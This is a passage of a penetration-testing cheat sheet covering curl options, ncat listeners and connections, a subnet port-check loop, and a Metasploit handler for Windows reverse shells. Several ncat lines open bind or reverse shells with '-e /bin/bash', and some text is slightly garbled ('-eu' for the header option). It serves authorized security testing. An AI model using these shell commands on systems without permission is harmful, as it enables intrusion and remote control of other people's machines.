| -d | Sends the specified data in a POST request to the HTTP server |
| -H | Extra header to include in the request when sending HTTP to a server |
| -eu | Include the HTTP response headers in the output |
| -k | Proceed and operate server connections otherwise considered insecure |
| -o | Write to file instead of stdout |
| -T | Transfers the specified local file to the remote URL, same as PUT method |
| -v | Make the operation more talkative |
| -x | Use the specified proxy ([protocol://]host[:port]) |
| -X | Specifies a custom request method to use when communicating with the HTTP server |
Find out how to test a web server for various HTTP methods and method overrides at ivan-sincek/forbidden.
[Server] Set up a listener:
ncat -nvlp 9000
ncat -nvlp 9000 > received_data.txt
ncat -nvlp 9000 -e /bin/bash
ncat -nvlp 9000 -e /bin/bash --ssl
ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem
ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OKrnrn"
[Client] Connect to a remote host:
ncat -nv 192.168.8.5 9000
ncat -nv 192.168.8.5 9000 < sent_data.txt
ncat -nv 192.168.8.5 9000 -e /bin/bash
ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl
ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem
Find out how to create an SSL/TLS certificate at ivan-sincek/secure-website.
Check if connection to a specified TCP port (eg, port 22 or 23) is possible:
for i in {0..255} ; do ncat -nv " 192.168.8. ${i} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; done
for ip in $( cat ips.txt ) ; do ncat -nv " ${ip} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; doneSet up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit
Use ngrok to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.
I advise you not to transfer any sensitive data over it, just in case.
Credits to the authors!